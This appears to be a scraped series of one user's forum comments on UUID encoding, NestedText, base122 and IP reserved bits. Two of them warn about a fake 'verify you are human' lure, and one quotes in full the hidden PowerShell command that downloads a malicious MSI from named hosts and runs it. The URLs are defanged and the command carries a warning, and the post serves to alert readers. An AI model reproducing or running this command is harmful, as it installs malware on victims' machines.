Interesting bit starts around 0:32 (ain't nobody got time for this, right?)
This shows how malware pops up a dialog to "verify you are human"; something we've all seen in various different permutations. Sometimes we need to click all stoplights, sometimes we need to do a simple math problem or decipher hard to read text. This time you're being asked to enter a key combination (Win+R, then CTRL+V then Enter) which will paste a command that downloads and installs malware. The command has been sneakily put on the clipboard just earlier by the website.
This downloads malware from https:\\qq51f.short.gy/1 which redirects to https:\\bestiamos.com/91.brr which is then saved as c:\users\public\3aw.msi and run.
(Url's are made invalid by replacing // with \\ deliberately)
You could simply base32, base36 or base64 encode the UUID's (as an example).
Other than that; in IE6 times URL's had a limitation of 1K or 4K or something around that lenght IIRC, so unless you're using dozens of UUID's in a URL this hasn't been a problem for ages.
I doubt it. If it is enabled, I don't see how the hacker could've circumvented it. I wonder if @bagder uses 1Password or something similar for 2FAs. Would love to know once this gets resolved.
I can see this work perfectly fine in typed languages like C#: `NestedText.Deserialize<T>("nestedtext")` where the deserialize method handles the actual mapping of nested text objects to `T` by providing the deserializer a class / classes that handles the string -> scalar(s) mapping for the given T. That would, sort of, function as a Schema.
I think the only thing, from glancing over the project, that would need to be supported to make this really useful is nested lists/dictionaries. I don't see how this can be done but maybe I'm missing it.
You can always do that, defining the schema in the client to produce sensible checks, even with JSON. The problem is that wherever the spec is underspecified is another place where two different clients can deserialize differently, and both be correct.
And the problem with stringly typed systems is that everything is underspecified
> None of my tools work with it, and now my browser has to run a bunch of js for something that's normally native and very fast.
It's not that I don't agree with the general idea of your post, but I disagree with this part. If nobody every tries something new we'd still be in the stone age. I think base122 is a bit silly but if it had it's use and adoption became widespread then browsers and tooling etc. would follow, just as they now support base64.
> I love that anyone's implemented it at all though
Similarly I have had a page online for years (may still be, can't remember the exact url... so I'd have to dig a little) that was served with HTTP status
I'm not intimately familiar with the RFC's but you could argue that since that bit is technically `reserved` when it's set the packet is 'invalid' and thus should be dropped (by some manufacturers reasoning maybe, not mine specifically)?
Also: IIRC IP packets contain CRC's/checksums of some sort. I'm not sure if the poster corrected for that or maybe the other side does(n't) and somewhere the CRC doesn't check out and thus the packet is dropped/invalid (or maybe even somewhere along the way by at a hop that chokes on such bit)?
Reading RFC 791 again, it is said that the reserved bit "must be zero".[1] I'm not sure if it is reasonable to force a "reserved" flag to be a certain value, but I guess if one is following the RFC rigorously, dropping packets with the reserved bit enabled is the correct behavior?
No. Imagine tomorrow a new RFC suggest to use the reserved bit for something meaningful. Any implementation that check that bit and drop the packet if the bit is 1 is broken immediately, even if it is not impacted.
True story, some years ago I had to design a protocol for remote configuration using text messages. We used a char to send the status in a compact format but in the first version we used only the first 3 bit and we specified that all the other bit should be zero (we have done so in order to have a predictable default in the future and also to increase the readability of the logs). After few months in the field we noticed that using an additional bit would be useful. Don't want to go into many details, not a problem if the bit is ignored but nice to have to simplify the operations. We updated the protocol, issued the new specs, the vendors develop the new version, we test the new version and surprise: the IOT between the new server and the old client was broken. Why? Because the designer the implementer of the client was to strict on the must be zero clause and decided that a packet with a one was a corrupt packet and should be dropped.
The result was a slow campaign of firmware upgrade and a 1 year delay of introduction of the new protocol. And it was a closed system where we had full control of clients and servers. Imagine what happens with open systems.
If you don't force it to be a certain value, its hardly reserved. Then it's just a free bit that anybody can use for anything. Reserved means it has to be able to be used for something else in the future, and for that to be possible it has to have a known default value.
Agreed, but maybe the other side (or any of the hops in between) have some weird and/or incorrect implementation on which the CRC/Checksum fails because the bit is set? I'm not sure what would happen if the bit is excluded from the CRC calculation but included in the check against/with the CRC for example. Would be a nice edge-case to test and, ofcourse, shouldn't fail. But who knows, maybe it does somewhere along the line?
Also, as barosl observes (https://news.ycombinator.com/item?id=10633361): "but I guess if one is following the RFC rigorously, dropping packets with the reserved bit enabled is the correct"
I don't know about RFC reserved bits, but I believe the linux kernel's policy is to enforce that any unused bits (in say, a bit flag field) MUST be zero, because otherwise some programmer will leave them uninitialized or something and break everything when they suddenly have meaning.
This shows how malware pops up a dialog to "verify you are human"; something we've all seen in various different permutations. Sometimes we need to click all stoplights, sometimes we need to do a simple math problem or decipher hard to read text. This time you're being asked to enter a key combination (Win+R, then CTRL+V then Enter) which will paste a command that downloads and installs malware. The command has been sneakily put on the clipboard just earlier by the website.
The command (DON'T RUN THIS) is as follows:
cmd /c start /min powershell -NoProfile -WindowStyle Hidden -Command $path='c:\\users\\public\\3aw.msi'; Invoke-RestMethod -Uri 'https:\\qq51f.short.gy/1' -OutFile $path; Start-Process $path;
This downloads malware from https:\\qq51f.short.gy/1 which redirects to https:\\bestiamos.com/91.brr which is then saved as c:\users\public\3aw.msi and run.
(Url's are made invalid by replacing // with \\ deliberately)
First mention I could find was feb. 18th: https://any.run/report/e9af23d9fde13156ade19368fd8c2766fe8f1...
Maybe this is as old as Rome, but for me it's a first.